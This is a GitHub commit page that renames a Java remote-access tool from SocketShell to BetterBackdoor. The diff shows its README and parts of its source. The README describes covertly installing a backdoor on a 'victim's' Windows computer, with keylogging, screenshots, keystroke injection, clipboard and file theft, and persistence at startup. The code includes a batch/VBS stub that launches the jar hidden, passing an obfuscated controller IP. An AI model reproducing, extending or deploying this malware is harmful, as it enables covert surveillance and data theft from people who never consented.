Skip to content

Commit

Permalink
Merge pull request #9 from ThatcherDev/develop
Browse files Browse the repository at this point in the history
Rebranded to BetterBackdoor
  • Loading branch information
thatcherclough authored Oct 3, 2019
2 parents 4b708cc + b855b3c commit 7fce83f
Show file tree
Hide file tree
Showing 15 changed files with 102 additions and 101 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
/target/
/.settings/
/.vscode/
/*.jar
/jre/
/backdoor/
.DS_Store
15 changes: 6 additions & 9 deletions .project
Original file line number Diff line number Diff line change
@@ -1,23 +1,20 @@
<?xml version="1.0" encoding="UTF-8"?>
<?xml version="1.0" encoding="UTF-8" ?>
<projectDescription>
<name>SocketShell</name>
<name>BetterBackdoor</name>
<comment></comment>
<projects>
</projects>
<projects></projects>
<buildSpec>
<buildCommand>
<name>org.eclipse.jdt.core.javabuilder</name>
<arguments>
</arguments>
<arguments></arguments>
</buildCommand>
<buildCommand>
<name>org.eclipse.m2e.core.maven2Builder</name>
<arguments>
</arguments>
<arguments></arguments>
</buildCommand>
</buildSpec>
<natures>
<nature>org.eclipse.m2e.core.maven2Nature</nature>
<nature>org.eclipse.jdt.core.javanature</nature>
</natures>
</projectDescription>
</projectDescription>
42 changes: 22 additions & 20 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
# SocketShell
Typically, reverse shell utilities such as Netcat have 2 main functions, to pipe remote input into cmd or bash, and output the response.
# BetterBackdoor
A backdoor is a program run on a machine that is used to remotely gain access and controll to that machine.

Typically, backdoor utilities such as Netcat have 2 main functions, to pipe remote input into cmd or bash, and output the response.
This is useful, but it is also limited.
SocketShell overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks.
BetterBackdoor overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks.

## Features
SocketShell is a backdoor compiling and controlling tool.
BetterBackdoor can create and controll a backdoor.

This backdoor can:
- Run Command Prompt commands
Expand All @@ -18,8 +20,8 @@ This backdoor can:
- Get text copied to victim's clipboard
- Get data from a victim's file (cat)

To compile the backdoor, SocketShell:
- Copies the necessary jar files to 'backdoor'.
To create the backdoor, BetterBackdoor:
- Copies the necessary jar files to a new directory called 'backdoor'.
- If desired, copies a Java Runtime Environment to 'backdoor'.
- Creates batch files in 'backdoor' for running the jar files in a packaged Java Runtime Environment and supplying jar files with the server's IPv4 address.
- Copies all '.duck' DuckyScripts and '.ps1' PowerShell scripts to 'backdoor'.
Expand All @@ -34,27 +36,27 @@ install.bat will:
- Add the backdoor to startup (if executed as administrator)
- Run the backdoor

Once running, to control the backdoor you must return to SocketShell and run option 1 at start while connected to the same WiFi network as the victim's computer.
Once running, to control the backdoor you must return to BetterBackdoor and run option 1 at start while connected to the same WiFi network as the victim's computer.

## Requirements
- A Java JDK distribution must be installed and added to PATH with label JAVA_HOME.
- You must use the same computer to compile and control the backdoor.
- The computer used to compile the backdoor must be on the same WiFi network as the victim's computer.
- The IPv4 address of this computer must remain static in the time between compiling the backdoor and controlling it.
- The computer used to control the backdoor must have their firewall deactivated.
- A Java JDK distribution must be installed and added to PATH.
- You must use the same computer to create and control the backdoor.
- The computer used to create the backdoor must be on the same WiFi network as the victim's computer.
- The IPv4 address of this computer must remain static in the time between creating the backdoor and controlling it.
- The computer used to control the backdoor must have their firewall deactivated and must run BetterBackdoor as 'sudo' (if run on Mac or Linux).

## Compatibility
SocketShell is compatible with Windows and Linux, while the backdoor is only compatible with Windows.
BetterBackdoor is compatible with Windows and Linux, while the backdoor is only compatible with Windows.

## Installation
```
# clone SocketShell
git clone https://github.com/ThatcherDev/SocketShell.git
# clone BetterBackdoor
git clone https://github.com/ThatcherDev/BetterBackdoor.git
# change the working directory to SocketShell
cd SocketShell
# change the working directory to BetterBackdoor
cd BetterBackdoor
# build SocketShell with Maven
# build BetterBackdoor with Maven
# for Linux run
chmod +x mvnw
./mvnw clean package
Expand All @@ -65,8 +67,8 @@ mvnw.cmd clean package

## Usage
```
# run SocketShell
java -jar socketshell.jar
# run BetterBackdoor
java -jar BetterBackdoor.jar
```

## License
Expand Down
27 changes: 13 additions & 14 deletions pom.xml
Original file line number Diff line number Diff line change
@@ -1,18 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<?xml version="1.0" encoding="UTF-8" ?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.1.8.RELEASE</version>
<relativePath/>
<relativePath />
</parent>
<groupId>com.github.thatcherdev</groupId>
<artifactId>SocketShell</artifactId>
<artifactId>BetterBackdoor</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>SocketShell</name>
<description>A backdoor compiling and controlling tool.</description>
<name>BetterBackdoor</name>
<description>A backdoor creating and controlling tool.</description>

<properties>
<java.version>1.8</java.version>
Expand Down Expand Up @@ -56,11 +55,11 @@
<artifactId>spring-boot-maven-plugin</artifactId>
<executions>
<execution>
<id>socketshell</id>
<id>betterbackdoor</id>
<phase>package</phase>
<configuration>
<finalName>socketshell</finalName>
<mainClass>com.github.thatcherdev.socketshell.SocketShell</mainClass>
<finalName>betterbackdoor</finalName>
<mainClass>com.github.thatcherdev.betterbackdoor.BetterBackdoor</mainClass>
<outputDirectory>${project.basedir}</outputDirectory>
</configuration>
<goals>
Expand All @@ -73,7 +72,7 @@
<phase>package</phase>
<configuration>
<finalName>run</finalName>
<mainClass>com.github.thatcherdev.socketshell.backdoor.Backdoor</mainClass>
<mainClass>com.github.thatcherdev.betterbackdoor.backdoor.Backdoor</mainClass>
</configuration>
<goals>
<goal>repackage</goal>
Expand All @@ -85,15 +84,15 @@
<phase>package</phase>
<configuration>
<finalName>install</finalName>
<mainClass>com.github.thatcherdev.socketshell.install.Install</mainClass>
<mainClass>com.github.thatcherdev.betterbackdoor.install.Install</mainClass>
</configuration>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</executions>
</plugin>
</plugins>
</build>

</project>
</project>
Original file line number Diff line number Diff line change
@@ -1,28 +1,28 @@
package com.github.thatcherdev.socketshell;
package com.github.thatcherdev.betterbackdoor;

import java.io.File;
import java.nio.file.Paths;
import java.util.Scanner;
import com.github.thatcherdev.socketshell.shell.Shell;
import com.github.thatcherdev.betterbackdoor.shell.Shell;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class SocketShell {
public class BetterBackdoor {

public final static Scanner sc = new Scanner(System.in);
public final static String os = System.getProperty("os.name");

public static void main(String[] args) {
System.out.println(" _________ __ __ _________.__ .__ .__\n"
+ " / _____/ ____ ____ | | __ _____/ |_/ _____/| |__ ____ | | | |\n"
+ " \\_____ \\ / _ \\_/ ___\\| |/ // __ \\ __\\_____ \\ | | \\_/ __ \\| | | |\n"
+ " / ( <_> ) \\___| <\\ ___/| | / \\| Y \\ ___/| |_| |__\n"
+ "/_______ /\\____/ \\___ >__|_ \\\\___ >__|/_______ /|___| /\\___ >____/____/\n"
+ " \\/ \\/ \\/ \\/ \\/ \\/ \\/");
System.out.println("Welcome to SocketShell");
System.out.println("A backdoor compiling and controlling tool.\n");
System.out.println("_________ __ __ __________ __ .___\n"
+ "\\_____ \\ _____/ |__/ |_ __________\\______ \\______ ____ | | __ __| _/____ ___________ \n"
+ " | | _// __ \\ __\\ __\\/ __ \\_ __ \\ | _/\\__ \\ _/ ___\\| |/ // __ |/ _ \\ / _ \\_ __ \\\n"
+ " | | \\ ___/| | | | \\ ___/| | \\/ | \\ / __ \\\\ \\___| </ /_/ ( <_> | <_> ) | \\/\n"
+ " |______ /\\___ >__| |__| \\___ >__| |______ /(____ /\\___ >__|_ \\____ |\\____/ \\____/|__|\n"
+ " \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/");
System.out.println("Welcome to BetterBackdoor");
System.out.println("A backdoor creating and controlling tool.\n");
System.out.println("Select:");
System.out.println("[0] Compile backdoor");
System.out.println("[0] Create backdoor");
System.out.println("[1] Open backdoor shell");
String choice = getInput("op01");
if (choice.equals("1"))
Expand All @@ -37,15 +37,15 @@ public static void main(String[] args) {
"If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n"
+ "create folder 'jre' in current directory with 'bin' and 'lib' folders from a Windows JRE distribution.\n");
System.out.println("Place all desired '.duck' DuckyScripts and '.ps1' PowerShell scripts in scripts\n");
System.out.println("Press ENTER to compile...");
System.out.println("Press ENTER to create backdoor...");
sc.nextLine();
System.out.println("Compiling...\n");
System.out.println("Creating...\n");
try {
Setup.compile(jre);
Setup.create(jre);
} catch (Exception e) {
error("Could not compile:\n" + e.getMessage());
error("Could not create backdoor:\n" + e.getMessage());
}
System.out.println("Compiled!\n");
System.out.println("Create!\n");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
Expand Down
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
package com.github.thatcherdev.socketshell;
package com.github.thatcherdev.betterbackdoor;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.PrintWriter;
import org.apache.commons.io.FileUtils;
import com.github.thatcherdev.socketshell.backend.Utils;
import com.github.thatcherdev.betterbackdoor.backend.Utils;

public class Setup {

Expand All @@ -16,14 +16,14 @@ public class Setup {
* @param packageJre if the a JRE should be packaged with backdoor
* @throws IOException
*/
public static void compile(boolean packageJre) throws IOException {
public static void create(boolean packageJre) throws IOException {
if (packageJre) {
String jrePath = System.getProperty("java.home");
FileUtils.copyDirectory(new File(jrePath + File.separator + "bin"),
new File("backdoor" + File.separator + "jre" + File.separator + "bin"));
FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"),
new File("backdoor" + File.separator + "jre" + File.separator + "lib"));
} else if (SocketShell.os.contains("Linux") && new File("jre").isDirectory())
} else if (BetterBackdoor.os.contains("Linux") && new File("jre").isDirectory())
FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre"));
FileUtils.copyDirectory(new File("scripts"), new File("backdoor" + File.separator + "scripts"));
FileUtils.copyFile(new File("target" + File.separator + "run.jar"),
Expand All @@ -49,8 +49,8 @@ private static void createBat(String filePath, String jrePath, String jarName) t
out.println(
"@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c if exist "
+ jrePath + "\\ (" + jrePath + "\\bin\\java " + "-jar " + jarName + ".jar "
+ Utils.crypt(Utils.getIP(), "SocketShellIP") + ") else (java -jar " + jarName + ".jar "
+ Utils.crypt(Utils.getIP(), "SocketShellIP")
+ Utils.crypt(Utils.getIP(), "BetterBackdoorIP") + ") else (java -jar " + jarName + ".jar "
+ Utils.crypt(Utils.getIP(), "BetterBackdoorIP")
+ ")\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 1 > nul\n del run.vbs\n @exit\n"
+ ") else (\ncall:delvbs\n)\ngoto:eof");
out.flush();
Expand Down
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
package com.github.thatcherdev.socketshell.backdoor;
package com.github.thatcherdev.betterbackdoor.backdoor;

import java.io.File;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;
import com.github.thatcherdev.socketshell.backend.Utils;
import com.github.thatcherdev.betterbackdoor.backend.Utils;

public class Backdoor {

Expand All @@ -30,7 +30,7 @@ public class Backdoor {
*/
public static void main(String[] args) {
try {
ip = Utils.crypt(args[0], "SocketShellIP");
ip = Utils.crypt(args[0], "BetterBackdoorIP");
new File("gathered").mkdir();
} catch (Exception e) {
System.exit(0);
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.github.thatcherdev.socketshell.backdoor;
package com.github.thatcherdev.betterbackdoor.backdoor;

import java.util.Scanner;
import org.apache.commons.io.FileUtils;
Expand All @@ -10,10 +10,10 @@
import java.util.ArrayList;
import java.util.Arrays;
import javax.imageio.ImageIO;
import com.github.thatcherdev.socketshell.backend.DuckyScripts;
import com.github.thatcherdev.socketshell.backend.FTP;
import com.github.thatcherdev.socketshell.backend.KeyLogger;
import com.github.thatcherdev.socketshell.backend.Utils;
import com.github.thatcherdev.betterbackdoor.backend.DuckyScripts;
import com.github.thatcherdev.betterbackdoor.backend.FTP;
import com.github.thatcherdev.betterbackdoor.backend.KeyLogger;
import com.github.thatcherdev.betterbackdoor.backend.Utils;

public class HandleCommand {

Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.github.thatcherdev.socketshell.backend;
package com.github.thatcherdev.betterbackdoor.backend;

import java.awt.Robot;
import java.awt.event.KeyEvent;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.github.thatcherdev.socketshell.backend;
package com.github.thatcherdev.betterbackdoor.backend;

import java.io.File;
import java.io.IOException;
Expand All @@ -9,6 +9,7 @@
import java.nio.channels.FileChannel;
import java.nio.channels.ServerSocketChannel;
import java.nio.channels.SocketChannel;
import java.nio.Buffer;

public class FTP {

Expand Down Expand Up @@ -87,7 +88,7 @@ private static void send(String filePath, SocketChannel socketChannel) throws IO
FileChannel fileChannel = file.getChannel();
ByteBuffer buffer = ByteBuffer.allocate(1024);
while (fileChannel.read(buffer) > 0) {
buffer.flip();
((Buffer) buffer).flip();
socketChannel.write(buffer);
buffer.clear();
}
Expand All @@ -107,7 +108,7 @@ private static void rec(String filePath, SocketChannel socketChannel) throws IOE
FileChannel fileChannel = file.getChannel();
ByteBuffer buffer = ByteBuffer.allocate(1024);
while (socketChannel.read(buffer) > 0) {
buffer.flip();
((Buffer) buffer).flip();
fileChannel.write(buffer);
buffer.clear();
}
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.github.thatcherdev.socketshell.backend;
package com.github.thatcherdev.betterbackdoor.backend;

import java.io.BufferedWriter;
import java.io.FileWriter;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
package com.github.thatcherdev.socketshell.backend;
package com.github.thatcherdev.betterbackdoor.backend;

import com.github.thatcherdev.socketshell.SocketShell;
import com.github.thatcherdev.betterbackdoor.BetterBackdoor;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
Expand Down Expand Up @@ -102,7 +102,7 @@ else if (add instanceof Inet6Address)
}
throw new Exception();
} catch (Exception e) {
SocketShell.error("Could not get IP address");
BetterBackdoor.error("Could not get IP address");
return null;
}
}
Expand Down
Loading

0 comments on commit 7fce83f

Please sign in to comment.